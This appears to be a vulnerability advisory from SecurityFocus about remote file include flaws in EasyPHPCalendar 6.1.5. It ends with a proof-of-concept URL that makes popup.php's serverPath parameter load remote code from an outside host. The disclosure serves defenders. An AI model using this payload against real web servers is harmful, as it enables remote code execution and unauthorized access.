source: http://www.securityfocus.com/bid/14131/info
 
EasyPHPCalendar is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
 
These issues reportedly affect EasyPHPCalendar version 6.1.5; other versions may also be vulnerable. 

http://www.example.com/calendar/functions/popup.php?serverPath=http://www.example.com/[remote code]